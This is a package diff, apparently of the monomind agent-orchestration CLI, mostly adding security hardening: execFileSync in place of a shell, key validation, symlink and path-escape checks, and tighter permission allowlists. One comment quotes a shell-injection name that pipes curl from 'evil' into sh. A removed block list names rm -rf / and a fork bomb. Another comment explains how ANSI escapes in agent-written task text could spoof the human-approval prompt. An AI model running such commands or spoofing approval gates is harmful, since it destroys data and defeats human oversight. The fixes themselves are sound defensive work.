  461. package/packages/@monomind/cli/dist/src/services/claim-service.d.ts +3 -1
  462. package/packages/@monomind/cli/dist/src/services/claim-service.js +33 -2
  463. package/packages/@monomind/cli/dist/src/services/config-file-manager.d.ts +16 -2
  464. package/packages/@monomind/cli/dist/src/services/config-file-manager.js +105 -17
  465. package/packages/@monomind/cli/dist/src/services/container-worker-pool.js +51 -11
  466. package/packages/@monomind/cli/dist/src/services/headless-worker-executor.d.ts +7 -0
  467. package/packages/@monomind/cli/dist/src/services/headless-worker-executor.js +188 -45
  468. package/packages/@monomind/cli/dist/src/services/registry-api.js +62 -9
  469. package/packages/@monomind/cli/dist/src/services/ruvector-training.js +8 -0
  470. package/packages/@monomind/cli/dist/src/services/worker-daemon.d.ts +4 -1
  471. package/packages/@monomind/cli/dist/src/services/worker-daemon.js +112 -28
  472. package/packages/@monomind/cli/dist/src/services/worker-queue.d.ts +9 -2
  473. package/packages/@monomind/cli/dist/src/services/worker-queue.js +86 -5
  474. package/packages/@monomind/cli/dist/src/suggest.js +9 -0
  475. package/packages/@monomind/cli/dist/src/swarm/flow-enforcer.d.ts +5 -3
  476. package/packages/@monomind/cli/dist/src/swarm/flow-enforcer.js +17 -5
  477. package/packages/@monomind/cli/dist/src/swarm/flow-visualizer.d.ts +3 -0
  478. package/packages/@monomind/cli/dist/src/swarm/flow-visualizer.js +30 -6
  479. package/packages/@monomind/cli/dist/src/transfer/anonymization/index.js +5 -3
  480. package/packages/@monomind/cli/dist/src/transfer/export.js +5 -3
  481. package/packages/@monomind/cli/dist/src/transfer/ipfs/client.js +84 -7
  482. package/packages/@monomind/cli/dist/src/transfer/ipfs/upload.js +13 -4
  483. package/packages/@monomind/cli/dist/src/transfer/storage/gcs.js +19 -10
  484. package/packages/@monomind/cli/dist/src/transfer/store/discovery.d.ts +9 -2
  485. package/packages/@monomind/cli/dist/src/transfer/store/discovery.js +68 -13
  486. package/packages/@monomind/cli/dist/src/transfer/store/download.d.ts +15 -6
  487. package/packages/@monomind/cli/dist/src/transfer/store/download.js +113 -24
  488. package/packages/@monomind/cli/dist/src/transfer/store/publish.d.ts +1 -1
  489. package/packages/@monomind/cli/dist/src/transfer/store/publish.js +13 -14
  490. package/packages/@monomind/cli/dist/src/transfer/store/registry.d.ts +3 -3
  491. package/packages/@monomind/cli/dist/src/transfer/store/registry.js +32 -16
  492. package/packages/@monomind/cli/dist/src/update/checker.js +17 -4
  493. package/packages/@monomind/cli/dist/src/update/executor.js +25 -20
  494. package/packages/@monomind/cli/dist/src/update/rate-limiter.d.ts +11 -0
  495. package/packages/@monomind/cli/dist/src/update/rate-limiter.js +23 -3
  496. package/packages/@monomind/cli/dist/src/utils/parse-jsonl.d.ts +6 -0
  497. package/packages/@monomind/cli/dist/src/utils/parse-jsonl.js +22 -0
  498. package/packages/@monomind/cli/dist/src/workflow/condition-evaluator.js +37 -3
  499. package/packages/@monomind/cli/dist/src/workflow/dag-builder.js +27 -11
  500. package/packages/@monomind/cli/dist/src/workflow/dag-executor.js +51 -13
  501. package/packages/@monomind/cli/dist/src/workflow/dsl-schema.d.ts +3 -0
  502. package/packages/@monomind/cli/dist/src/workflow/dsl-schema.js +6 -2
  503. package/packages/@monomind/cli/dist/src/workflow/template-engine.js +7 -0
  504. package/packages/@monomind/cli/dist/src/workflow/workflow-executor.js +95 -14
  505. package/packages/@monomind/cli/package.json +5 -2
  506. package/packages/@monomind/guidance/README.md +0 -3
  507. package/packages/@monomind/shared/README.md +0 -1
  508. package/packages/@monomind/shared/dist/types/consensus-audit.d.ts +3 -1
  509. package/packages/README.md +15 -16
  510. package/.claude/agents/design/design-brand-guardian.md +0 -323
  511. package/.claude/agents/design/design-image-prompt-engineer.md +0 -237
  512. package/.claude/agents/design/design-inclusive-visuals-specialist.md +0 -72
  513. package/.claude/agents/design/design-ui-designer.md +0 -384
  514. package/.claude/agents/design/design-ux-architect.md +0 -470
  515. package/.claude/agents/design/design-ux-researcher.md +0 -330
  516. package/.claude/agents/design/design-visual-storyteller.md +0 -150
  517. package/.claude/agents/design/design-whimsy-injector.md +0 -439
  518. package/.claude/agents/v3/integration-architect.md +0 -338
  519. package/.claude/commands/analysis/COMMAND_COMPLIANCE_REPORT.md +0 -54
  520. package/.claude/commands/coordination/init.md +0 -44
  521. package/.claude/commands/coordination/orchestrate.md +0 -43
  522. package/.claude/commands/coordination/spawn.md +0 -45
  523. package/.claude/commands/github/code-review-swarm.md +0 -550
  524. package/.claude/commands/github/code-review.md +0 -25
  525. package/.claude/commands/github/github-swarm.md +0 -121
  526. package/.claude/commands/github/issue-triage.md +0 -25
  527. package/.claude/commands/github/multi-repo-swarm.md +0 -519
  528. package/.claude/commands/github/pr-enhance.md +0 -26
  529. package/.claude/commands/github/project-board-sync.md +0 -471
  530. package/.claude/commands/github/release-swarm.md +0 -590
  531. package/.claude/commands/github/repo-analyze.md +0 -25
  532. package/.claude/commands/github/swarm-issue.md +0 -482
  533. package/.claude/commands/github/swarm-pr.md +0 -310
  534. package/.claude/commands/github/workflow-automation.md +0 -468
  535. package/.claude/commands/hive-mind/hive-mind-metrics.md +0 -8
  536. package/.claude/commands/hive-mind/hive-mind-resume.md +0 -8
  537. package/.claude/commands/hive-mind/hive-mind-sessions.md +0 -8
  538. package/.claude/commands/hive-mind/hive-mind-wizard.md +0 -8
  539. package/.claude/commands/list-agents.md +0 -17
  540. package/.claude/commands/memory/memory-persist.md +0 -25
  541. package/.claude/commands/memory/memory-usage.md +0 -25
  542. package/.claude/commands/memory/neural.md +0 -47
  543. package/.claude/commands/metrics.md +0 -11
  544. package/.claude/commands/monitoring/real-time-view.md +0 -25
  545. package/.claude/commands/monitoring/swarm-monitor.md +0 -25
  546. package/.claude/commands/monomind-createtask.md +0 -302
  547. package/.claude/commands/monomind-help.md +0 -103
  548. package/.claude/commands/monomind-memory.md +0 -107
  549. package/.claude/commands/monomind-repeat.md +0 -149
  550. package/.claude/commands/monomind-swarm.md +0 -205
  551. package/.claude/commands/optimization/cache-manage.md +0 -25
  552. package/.claude/commands/optimization/topology-optimize.md +0 -25
  553. package/.claude/commands/pair/commands.md +0 -546
  554. package/.claude/commands/pair/config.md +0 -510
  555. package/.claude/commands/pair/start.md +0 -209
  556. package/.claude/commands/use-agent.md +0 -67
  557. package/.claude/skills/monomind-createtask/SKILL.md +0 -269
  558. package/.claude/skills/monomind-task-engine/SKILL.md +0 -358
  559. /package/.claude/agents/{v3 → specialists}/memory-specialist.md +0 -0
  560. /package/.claude/agents/{v3 → specialists}/performance-engineer.md +0 -0
  561. /package/.claude/agents/{v3 → specialists}/queen-coordinator.md +0 -0
  562. /package/.claude/agents/{v3 → specialists}/security-architect.md +0 -0
@@ -22,7 +22,7 @@ STAGED_FILES=$(git diff --cached --name-only --diff-filter=ACM)
22
22
  for FILE in $STAGED_FILES; do
23
23
  if [[ "$FILE" =~ \\.(ts|js|tsx|jsx)$ ]]; then
24
24
  echo " Validating: $FILE"
25
- npx @monoes/cli hooks pre-edit --file "$FILE" --validate-syntax 2>/dev/null || true
25
+ npx @monomind/cli hooks pre-edit --file "$FILE" --validate-syntax 2>/dev/null || true
26
26
  fi
27
27
  done
28
28
 
@@ -307,8 +307,14 @@ const commands = {
307
307
  console.error('Key required');
308
308
  return;
309
309
  }
310
+ // Reject prototype-pollution keys: \`memory[key] = value\` with key='__proto__'
311
+ // performs a prototype-set, polluting Object.prototype for the process.
312
+ if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
313
+ console.error('Forbidden key');
314
+ process.exit(2);
315
+ }
310
316
  const memory = loadMemory();
311
- memory[key] = value;
317
+ Object.defineProperty(memory, key, { value, enumerable: true, configurable: true, writable: true });
312
318
  memory._updated = new Date().toISOString();
313
319
  saveMemory(memory);
314
320
  console.log(\`Set: \${key}\`);
@@ -319,6 +325,10 @@ const commands = {
319
325
  console.error('Key required');
320
326
  return;
321
327
  }
328
+ if (key === '__proto__' || key === 'constructor' || key === 'prototype') {
329
+ console.error('Forbidden key');
330
+ process.exit(2);
331
+ }
322
332
  const memory = loadMemory();
323
333
  delete memory[key];
324
334
  saveMemory(memory);
@@ -451,21 +461,21 @@ export function generateHookHandler() {
451
461
  " var archKeywords = ['understand', 'architecture', 'how does', 'what calls', 'dependency', 'depends on', 'flow', 'how is', 'explain codebase', 'project structure', 'what is the relationship', 'graph', 'knowledge'];",
452
462
  ' var promptLower = prompt.toLowerCase();',
453
463
  ' var isArchQuery = archKeywords.some(function(k) { return promptLower.includes(k); });',
454
- " var graphJson = require('path').join(process.cwd(), 'graphify-out', 'graph.json');",
464
+ " var graphJson = require('path').join(process.cwd(), '.monomind', 'monograph.db');",
455
465
  " var hasGraph = require('fs').existsSync(graphJson);",
456
466
  ' if (isArchQuery) {',
457
467
  " var gfOutput = [];",
458
468
  " gfOutput.push('');",
459
- " gfOutput.push('+------- graphify | Knowledge Graph Available ----------------+');",
469
+ " gfOutput.push('+------- monograph | Knowledge Graph Available ---------------+');",
460
470
  ' if (hasGraph) {',
461
- " gfOutput.push('| Graph: graphify-out/graph.json |');",
462
- " gfOutput.push('| Use: mcp__monomind__graphify_god_nodes |');",
463
- " gfOutput.push('| mcp__monomind__graphify_query |');",
464
- " gfOutput.push('| mcp__monomind__graphify_shortest_path |');",
465
- " gfOutput.push('| Tip: Call graphify_god_nodes first for architecture overview|');",
471
+ " gfOutput.push('| Graph: .monomind/monograph.db |');",
472
+ " gfOutput.push('| Use: mcp__monomind__monograph_god_nodes |');",
473
+ " gfOutput.push('| mcp__monomind__monograph_query |');",
474
+ " gfOutput.push('| mcp__monomind__monograph_shortest_path |');",
475
+ " gfOutput.push('| Tip: Call monograph_god_nodes first for architecture overview|');",
466
476
  ' } else {',
467
477
  " gfOutput.push('| No graph found. Build with: |');",
468
- " gfOutput.push('| python -m graphify . (pip install graphifyy[mcp] first) |');",
478
+ " gfOutput.push('| mcp__monomind__monograph_build |');",
469
479
  ' }',
470
480
  " gfOutput.push('+--------------------------------------------------------------+');",
471
481
  " console.log(gfOutput.join('\\n'));",
@@ -477,15 +487,11 @@ export function generateHookHandler() {
477
487
  ' },',
478
488
  '',
479
489
  " 'pre-bash': () => {",
480
- ' var cmd = prompt.toLowerCase();',
481
- " var dangerous = ['rm -rf /', 'format c:', 'del /s /q c:\\\\', ':(){:|:&};:'];",
482
- ' for (var i = 0; i < dangerous.length; i++) {',
483
- ' if (cmd.includes(dangerous[i])) {',
484
- " console.error('[BLOCKED] Dangerous command detected: ' + dangerous[i]);",
485
- ' process.exit(1);',
486
- ' }',
487
- ' }',
488
- " console.log('[OK] Command validated');",
490
+ " // NOTE: This hook is intentionally NOT a security filter. A 4-substring",
491
+ " // check is trivially bypassed (extra spaces, find -delete, dd, bash -c, etc.)",
492
+ " // and shipping a fake check creates false confidence. Real safety lives in",
493
+ " // Claude Code's permission prompt and sandboxing. Hook is observability-only.",
494
+ " console.log('[OK] Command validation delegated to Claude Code permissions');",
489
495
  ' },',
490
496
  '',
491
497
  " 'post-edit': () => {",
@@ -498,18 +504,19 @@ export function generateHookHandler() {
498
504
  ' intelligence.recordEdit(file);',
499
505
  ' } catch (e) { /* non-fatal */ }',
500
506
  ' }',
501
- ' // Auto-rebuild graphify knowledge graph for code file changes',
507
+ ' // Auto-rebuild monograph knowledge graph for code file changes',
502
508
  ' try {',
503
509
  " var editedFile = process.env.TOOL_INPUT_file_path || args[0] || '';",
504
510
  " var isCode = /\\.(ts|js|tsx|jsx|py|go|rs|java|c|cpp|h|cs|rb|php|swift|kt|scala)$/.test(editedFile);",
505
- " var graphJson = require('path').join(process.cwd(), 'graphify-out', 'graph.json');",
506
- " if (isCode && require('fs').existsSync(graphJson)) {",
507
- " require('child_process').spawn('python', ['-m', 'graphify', '--update', process.cwd()], {",
508
- " detached: true, stdio: 'ignore', timeout: 30000",
511
+ " var dbFile = require('path').join(process.cwd(), '.monomind', 'monograph.db');",
512
+ " if (isCode && require('fs').existsSync(dbFile)) {",
513
+ " var s = `import { buildAsync } from '@monoes/monograph'; buildAsync(${JSON.stringify(process.cwd())}).catch(()=>{});`;",
514
+ " require('child_process').spawn(process.execPath, ['--input-type=module', '--eval', s], {",
515
+ " detached: true, stdio: 'ignore'",
509
516
  ' }).unref();',
510
- " console.log('[GRAPHIFY] Queued graph rebuild for: ' + require('path').basename(editedFile));",
517
+ " console.log('[MONOGRAPH] Queued graph rebuild for: ' + require('path').basename(editedFile));",
511
518
  ' }',
512
- ' } catch (e) { /* non-fatal — graphify may not be installed */ }',
519
+ ' } catch (e) { /* non-fatal — monograph may not be installed */ }',
513
520
  " console.log('[OK] Edit recorded');",
514
521
  ' },',
515
522
  '',
@@ -684,11 +691,13 @@ export function generateIntelligenceStub() {
684
691
  ' return text.toLowerCase().replace(/[^a-z0-9\\s]/g, " ").split(/\\s+/).filter(function(w) { return w.length > 2; });',
685
692
  '}',
686
693
  '',
687
- '// Bootstrap entries from MEMORY.md files when store is empty',
694
+ '// Bootstrap entries from MEMORY.md files when store is empty.',
695
+ '// SECURITY: ONLY walk the current project. Walking ~/.claude/projects',
696
+ '// previously caused cross-project memory leakage — entries from project A',
697
+ '// (potentially containing secrets) would surface in prompts in project B.',
688
698
  'function bootstrapFromMemoryFiles() {',
689
699
  ' var entries = [];',
690
700
  ' var candidates = [',
691
- ' path.join(os.homedir(), ".claude", "projects"),',
692
701
  ' path.join(process.cwd(), ".monomind", "memory"),',
693
702
  ' path.join(process.cwd(), ".claude", "memory"),',
694
703
  ' ];',
@@ -842,7 +851,7 @@ export function generateIntelligenceStub() {
842
851
  /**
843
852
  * Generate a minimal auto-memory-hook.mjs fallback for fresh installs.
844
853
  * This ESM script handles import/sync/status commands gracefully when
845
- * @monoes/memory is not installed. Gets overwritten when source copy succeeds.
854
+ * @monomind/memory is not installed. Gets overwritten when source copy succeeds.
846
855
  */
847
856
  export function generateAutoMemoryHook() {
848
857
  return `#!/usr/bin/env node
@@ -879,17 +888,17 @@ async function loadMemoryPackage() {
879
888
  try {
880
889
  const { createRequire } = await import('module');
881
890
  const require = createRequire(join(PROJECT_ROOT, 'package.json'));
882
- return require('@monoes/memory');
891
+ return require('@monomind/memory');
883
892
  } catch { /* fall through */ }
884
893
 
885
- // Strategy 2: ESM import (works when @monoes/memory is a direct dependency)
886
- try { return await import('@monoes/memory'); } catch { /* fall through */ }
894
+ // Strategy 2: ESM import (works when @monomind/memory is a direct dependency)
895
+ try { return await import('@monomind/memory'); } catch { /* fall through */ }
887
896
 
888
897
  // Strategy 3: Walk up from PROJECT_ROOT looking for the package in any node_modules
889
898
  let searchDir = PROJECT_ROOT;
890
899
  const { parse } = await import('path');
891
900
  while (searchDir !== parse(searchDir).root) {
892
- const candidate = join(searchDir, 'node_modules', '@monoes', 'memory', 'dist', 'index.js');
901
+ const candidate = join(searchDir, 'node_modules', '@monomind', 'memory', 'dist', 'index.js');
893
902
  if (existsSync(candidate)) {
894
903
  try { return await import(\`file://\${candidate}\`); } catch { /* fall through */ }
895
904
  }
@@ -934,11 +943,15 @@ function doStatus() {
934
943
  console.log('');
935
944
  }
936
945
 
937
- // Suppress unhandled rejection warnings from optional dynamic import() failures only
946
+ // Suppress unhandled rejection warnings ONLY for genuine module-not-found from
947
+ // optional dynamic imports. Previously this swallowed any error whose message
948
+ // contained "Cannot find" (e.g. "Cannot find user with id ..."), masking real
949
+ // failures and security regressions.
938
950
  process.on('unhandledRejection', (reason) => {
939
- // Re-throw anything that isn't a module-not-found error from optional imports
940
- if (reason instanceof Error && reason.message.includes('Cannot find')) return;
951
+ const code = reason && typeof reason === 'object' ? reason.code : undefined;
952
+ if (code === 'ERR_MODULE_NOT_FOUND' || code === 'MODULE_NOT_FOUND') return;
941
953
  if (reason instanceof Error) throw reason;
954
+ throw new Error(String(reason));
942
955
  });
943
956
 
944
957
  const command = process.argv[2] || 'status';
@@ -51,9 +51,9 @@ export function generateMCPConfig(options) {
51
51
  MONOMIND_MEMORY_BACKEND: options.runtime.memoryBackend,
52
52
  }, { autoStart: config.autoStart });
53
53
  }
54
- // Graphify knowledge graph — built into monomind MCP server since v1.3.0.
55
- // Available as mcp__monomind__graphify_build, graphify_report, graphify_suggest, graphify_health.
56
- // No separate server needed — the monomind entry above provides all graphify tools.
54
+ // Monograph knowledge graph — built into monomind MCP server since v1.8.0.
55
+ // Available as mcp__monomind__monograph_build, monograph_query, monograph_suggest, monograph_health.
56
+ // No separate server needed — the monomind entry above provides all monograph tools.
57
57
  return { mcpServers };
58
58
  }
59
59
  /**
@@ -17,11 +17,18 @@ export function generateSettings(options) {
17
17
  settings.statusLine = generateStatusLineConfig(options);
18
18
  }
19
19
  // Add permissions
20
+ // SECURITY: tightened allowlist patterns.
21
+ // `Bash(npx monomind*)` previously matched any package starting with
22
+ // "monomind" (including a hypothetical future typosquat). Anchor to the
23
+ // official scope/namespaces only, with an explicit space between command
24
+ // tokens so partial-prefix matches are rejected.
20
25
  settings.permissions = {
21
26
  allow: [
22
- 'Bash(npx @monoes*)',
23
- 'Bash(npx monomind*)',
24
- 'Bash(node .claude/*)',
27
+ 'Bash(npx @monomind/*)',
28
+ 'Bash(npx monomind *)',
29
+ 'Bash(npx -y monomind *)',
30
+ 'Bash(npx monomind@*)',
31
+ 'Bash(node .claude/helpers/*)',
25
32
  'mcp__monomind__:*',
26
33
  ],
27
34
  deny: [
@@ -7,7 +7,7 @@
7
7
  */
8
8
  import * as fs from 'node:fs';
9
9
  import * as path from 'node:path';
10
- import { execSync } from 'node:child_process';
10
+ import { execFileSync } from 'node:child_process';
11
11
  function readJSON(p) {
12
12
  try {
13
13
  return JSON.parse(fs.readFileSync(p, 'utf-8'));
@@ -550,11 +550,26 @@ export function writeSharedInstructions(cwd, force, result) {
550
550
  }
551
551
  fs.writeFileSync(siPath, content, 'utf-8');
552
552
  result.created.files.push('.agents/shared_instructions.md');
553
- // Seed memory (best-effort, non-blocking)
553
+ // Seed memory (best-effort, non-blocking).
554
+ // SECURITY: previously the seed.key (built from package.json `name`) was
555
+ // interpolated into a shell command via execSync. A malicious package.json
556
+ // with a name like `x"; curl evil | sh; #` produced shell injection during
557
+ // `monomind init`. Switch to execFileSync (array argv, no shell) and
558
+ // reject seed inputs that don't match a tight regex.
559
+ const KEY_RE = /^[a-zA-Z0-9._:/-]{1,128}$/;
560
+ const NS_RE = /^[a-zA-Z0-9_-]{1,64}$/;
554
561
  const seeds = generateMemorySeeds(profile);
555
562
  for (const seed of seeds) {
563
+ if (!KEY_RE.test(seed.key) || !NS_RE.test(seed.namespace) || typeof seed.value !== 'string') {
564
+ continue;
565
+ }
556
566
  try {
557
- execSync(`npx --yes monomind@latest memory store --key "${seed.key}" --value ${JSON.stringify(seed.value)} --namespace ${seed.namespace}`, { cwd, stdio: 'ignore', timeout: 8000 });
567
+ execFileSync('npx', [
568
+ '--yes', 'monomind@latest', 'memory', 'store',
569
+ '--key', seed.key,
570
+ '--value', seed.value,
571
+ '--namespace', seed.namespace,
572
+ ], { cwd, stdio: 'ignore', timeout: 8000 });
558
573
  }
559
574
  catch {
560
575
  // Non-critical — memory seeding is best-effort
@@ -911,7 +911,9 @@ function generateDashboard() {
911
911
 
912
912
  // ── Header: brand + git + model + session ────────────────────
913
913
  const swarmDot = swarm.coordinationActive ? \`\${x.green}● LIVE\${x.reset}\` : \`\${x.slate}○ IDLE\${x.reset}\`;
914
- let hdr = \`\${x.bold}\${x.purple}▊ Monomind \${VERSION}\${x.reset} \${swarmDot} \${x.teal}\${x.bold}\${git.name}\${x.reset}\`;
914
+ const projName = getProjectName();
915
+ const cwdName = path.basename(CWD);
916
+ let hdr = \`\${x.bold}\${x.purple}▊ Monomind \${VERSION}\${x.reset} \${swarmDot} \${x.teal}\${x.bold}\${projName}\${x.reset} \${DIV} \${x.dim}◎ \${cwdName}\${x.reset} \${DIV} \${x.violet}⬡ \${git.name}\${x.reset}\`;
915
917
 
916
918
  if (git.gitBranch) {
917
919
  hdr += \` \${DIV} \${x.sky}⎇ \${x.bold}\${git.gitBranch}\${x.reset}\`;
@@ -24,7 +24,7 @@ export interface InitComponents {
24
24
  runtime: boolean;
25
25
  /** Create CLAUDE.md with swarm guidance */
26
26
  claudeMd: boolean;
27
- /** Build knowledge graph on init using graphify (Python) */
27
+ /** Build knowledge graph on init using monograph (TypeScript) */
28
28
  graphify: boolean;
29
29
  }
30
30
  /**
@@ -64,16 +64,16 @@ export interface HooksConfig {
64
64
  * Skills configuration
65
65
  */
66
66
  export interface SkillsConfig {
67
- /** Include core skills (swarm, memory, sparc) */
67
+ /** Include core skills (swarm, sparc, mastermind, monodesign, monomotion) */
68
68
  core: boolean;
69
69
  /** Include AgentDB skills */
70
70
  agentdb: boolean;
71
71
  /** Include GitHub integration skills */
72
72
  github: boolean;
73
- /** Include browser automation skills (agent-browser) */
73
+ /** Include browser automation skills */
74
74
  browser: boolean;
75
- /** Include V1 implementation skills */
76
- v1: boolean;
75
+ /** Include advanced skills (agentic-jujutsu, security, performance, etc.) */
76
+ advanced: boolean;
77
77
  /** Include all available skills */
78
78
  all: boolean;
79
79
  }
@@ -81,22 +81,50 @@ export interface SkillsConfig {
81
81
  * Commands configuration
82
82
  */
83
83
  export interface CommandsConfig {
84
- /** Include core commands */
84
+ /** Include core commands (mastermind.md, tokens.md, browse.md, sparc.md, ts.md) */
85
85
  core: boolean;
86
+ /** Include agents commands */
87
+ agents?: boolean;
86
88
  /** Include analysis commands */
87
89
  analysis: boolean;
88
90
  /** Include automation commands */
89
91
  automation: boolean;
92
+ /** Include coordination commands */
93
+ coordination?: boolean;
90
94
  /** Include github commands */
91
95
  github: boolean;
96
+ /** Include hive-mind commands */
97
+ hiveMind?: boolean;
92
98
  /** Include hooks commands */
93
99
  hooks: boolean;
100
+ /** Include mastermind commands */
101
+ mastermind?: boolean;
102
+ /** Include memory commands */
103
+ memory?: boolean;
94
104
  /** Include monitoring commands */
95
105
  monitoring: boolean;
106
+ /** Include monograph commands */
107
+ monograph?: boolean;
108
+ /** Include monomind commands */
109
+ monomind?: boolean;
96
110
  /** Include optimization commands */
97
111
  optimization: boolean;
112
+ /** Include pair commands */
113
+ pair?: boolean;
98
114
  /** Include SPARC commands */
99
115
  sparc: boolean;
116
+ /** Include stream-chain commands */
117
+ streamChain?: boolean;
118
+ /** Include swarm commands */
119
+ swarm?: boolean;
120
+ /** Include training commands */
121
+ training?: boolean;
122
+ /** Include truth commands */
123
+ truth?: boolean;
124
+ /** Include verify commands */
125
+ verify?: boolean;
126
+ /** Include workflows commands */
127
+ workflows?: boolean;
100
128
  /** Include all commands */
101
129
  all: boolean;
102
130
  }
@@ -116,10 +144,6 @@ export interface AgentsConfig {
116
144
  sparc: boolean;
117
145
  /** Include swarm coordinators */
118
146
  swarm: boolean;
119
- /** Include browser automation agents (agent-browser) */
120
- browser: boolean;
121
- /** Include V1-specific agents (security, memory, performance, etc.) */
122
- v1: boolean;
123
147
  /** Include optimization agents */
124
148
  optimization: boolean;
125
149
  /** Include testing agents */
@@ -154,7 +178,7 @@ export interface MCPConfig {
154
178
  monomind: boolean;
155
179
  /** Include ruv-swarm MCP server */
156
180
  ruvSwarm: boolean;
157
- /** Include graphify knowledge graph MCP server */
181
+ /** Include monograph knowledge graph MCP server */
158
182
  graphify: boolean;
159
183
  /** Auto-start MCP server */
160
184
  autoStart: boolean;
@@ -76,8 +76,8 @@ export const DEFAULT_INIT_OPTIONS = {
76
76
  agentdb: true,
77
77
  github: true,
78
78
  browser: true,
79
- v1: true,
80
- all: false,
79
+ advanced: true,
80
+ all: true,
81
81
  },
82
82
  commands: {
83
83
  core: true,
@@ -88,7 +88,7 @@ export const DEFAULT_INIT_OPTIONS = {
88
88
  monitoring: true,
89
89
  optimization: true,
90
90
  sparc: true,
91
- all: false,
91
+ all: true,
92
92
  },
93
93
  agents: {
94
94
  core: true,
@@ -97,8 +97,6 @@ export const DEFAULT_INIT_OPTIONS = {
97
97
  hiveMind: true,
98
98
  sparc: true,
99
99
  swarm: true,
100
- browser: true,
101
- v1: true,
102
100
  optimization: true,
103
101
  testing: true,
104
102
  all: true,
@@ -169,7 +167,7 @@ export const MINIMAL_INIT_OPTIONS = {
169
167
  agentdb: false,
170
168
  github: false,
171
169
  browser: false,
172
- v1: false,
170
+ advanced: false,
173
171
  all: false,
174
172
  },
175
173
  agents: {
@@ -179,8 +177,6 @@ export const MINIMAL_INIT_OPTIONS = {
179
177
  hiveMind: false,
180
178
  sparc: false,
181
179
  swarm: false,
182
- browser: false,
183
- v1: false,
184
180
  optimization: false,
185
181
  testing: false,
186
182
  all: false,
@@ -227,7 +223,7 @@ export const FULL_INIT_OPTIONS = {
227
223
  agentdb: true,
228
224
  github: true,
229
225
  browser: true,
230
- v1: true,
226
+ advanced: true,
231
227
  all: true,
232
228
  },
233
229
  commands: {
@@ -31,11 +31,16 @@ export class InterruptController {
31
31
  input: process.stdin,
32
32
  output: process.stdout,
33
33
  });
34
+ // Strip control characters from interpolated fields. ANSI escape sequences
35
+ // in any of these fields would let a malicious agent or LLM-generated task
36
+ // description redraw the screen and trick the user into approving an
37
+ // entirely different action than the one shown — defeating this very gate.
38
+ const safe = (s) => String(s ?? '').replace(/[\x00-\x1f\x7f-\x9f]/g, '?').slice(0, 500);
34
39
  console.log('\n' + '='.repeat(60));
35
40
  console.log('[MONOMIND] Interrupt — Human approval required');
36
- console.log(` Agent: ${agentSlug}`);
37
- console.log(` Task: ${taskDescription}`);
38
- console.log(` Checkpoint: ${checkpointId}`);
41
+ console.log(` Agent: ${safe(agentSlug)}`);
42
+ console.log(` Task: ${safe(taskDescription)}`);
43
+ console.log(` Checkpoint: ${safe(checkpointId)}`);
39
44
  console.log('='.repeat(60));
40
45
  console.log(' Options: [y] approve [n] reject [e] edit task');
41
46
  return new Promise((resolve) => {
@@ -4,8 +4,8 @@
4
4
  * Manages semver versioning for MCP tools with deprecation tracking
5
5
  * and tool-to-agent impact analysis. Uses JSONL file storage.
6
6
  */
7
- import { appendFileSync, readFileSync, existsSync, mkdirSync, readdirSync, statSync, } from 'fs';
8
- import { join, dirname, extname } from 'path';
7
+ import { appendFileSync, readFileSync, existsSync, mkdirSync, readdirSync, lstatSync, } from 'fs';
8
+ import { join, dirname, extname, resolve, sep } from 'path';
9
9
  /** Default JSONL storage path relative to project root. */
10
10
  const DEFAULT_STORAGE_PATH = '.monomind/tool-versions.jsonl';
11
11
  /**
@@ -19,7 +19,14 @@ export class ToolRegistry {
19
19
  history = [];
20
20
  storagePath;
21
21
  constructor(storagePath = DEFAULT_STORAGE_PATH) {
22
- this.storagePath = storagePath;
22
+ const resolvedPath = resolve(storagePath);
23
+ const allowedRoot = process.env.MONOMIND_DATA_DIR
24
+ ? resolve(process.env.MONOMIND_DATA_DIR)
25
+ : resolve(process.cwd());
26
+ if (resolvedPath !== allowedRoot && !resolvedPath.startsWith(allowedRoot + sep)) {
27
+ throw new Error(`Tool registry storagePath escapes allowed root: ${resolvedPath}`);
28
+ }
29
+ this.storagePath = resolvedPath;
23
30
  this.loadFromDisk();
24
31
  }
25
32
  /**
@@ -94,6 +101,11 @@ export class ToolRegistry {
94
101
  * mention the tool name.
95
102
  */
96
103
  getImpactedAgents(toolName, agentsDir = 'agents') {
104
+ // Reject empty or short tool names — `content.includes('')` returns true
105
+ // for every file, turning the registry into a directory enumerator.
106
+ if (typeof toolName !== 'string' || toolName.length < 2 || !/^[a-zA-Z0-9_.-]+$/.test(toolName)) {
107
+ return [];
108
+ }
97
109
  const impacted = [];
98
110
  const mdFiles = collectMdFiles(agentsDir);
99
111
  for (const filePath of mdFiles) {
@@ -144,16 +156,32 @@ export class ToolRegistry {
144
156
  catch {
145
157
  return;
146
158
  }
159
+ const NAME_RE = /^[a-zA-Z0-9_.-]{1,128}$/;
160
+ const STR_MAX = 500;
147
161
  for (const line of raw.split('\n')) {
148
162
  const trimmed = line.trim();
149
163
  if (!trimmed)
150
164
  continue;
151
165
  try {
152
166
  const record = JSON.parse(trimmed);
167
+ if (!record || typeof record !== 'object')
168
+ continue;
169
+ // Validate fields before storage. The JSONL file lives on disk; an
170
+ // attacker with local write access could otherwise plant attacker-controlled
171
+ // strings (e.g. malicious deprecationMessage with markup) that reach
172
+ // downstream renderers (DOT visualizer, deprecation-injector warnings).
153
173
  if (record._type === 'tool') {
174
+ if (typeof record.toolName !== 'string' || !NAME_RE.test(record.toolName))
175
+ continue;
176
+ if (record.successor !== undefined && (typeof record.successor !== 'string' || !NAME_RE.test(record.successor)))
177
+ continue;
178
+ if (record.deprecationMessage !== undefined && (typeof record.deprecationMessage !== 'string' || record.deprecationMessage.length > STR_MAX))
179
+ continue;
154
180
  this.tools.set(record.toolName, record);
155
181
  }
156
182
  else if (record._type === 'history') {
183
+ if (typeof record.toolName !== 'string' || !NAME_RE.test(record.toolName))
184
+ continue;
157
185
  this.history.push(record);
158
186
  }
159
187
  }
@@ -195,11 +223,17 @@ function collectMdFiles(root) {
195
223
  const full = join(root, entry);
196
224
  let stat;
197
225
  try {
198
- stat = statSync(full);
226
+ // Use lstatSync so symlinks aren't followed — otherwise a symlink under
227
+ // `agentsDir` could redirect this scan into arbitrary filesystem
228
+ // locations, which combined with `getImpactedAgents` becomes a content
229
+ // oracle that fingerprints arbitrary text files outside the project.
230
+ stat = lstatSync(full);
199
231
  }
200
232
  catch {
201
233
  continue;
202
234
  }
235
+ if (stat.isSymbolicLink())
236
+ continue;
203
237
  if (stat.isDirectory()) {
204
238
  results.push(...collectMdFiles(full));
205
239
  }
@@ -39,8 +39,9 @@ import { ruvllmWasmTools } from './mcp-tools/ruvllm-tools.js';
39
39
  import { wasmAgentTools } from './mcp-tools/wasm-agent-tools.js';
40
40
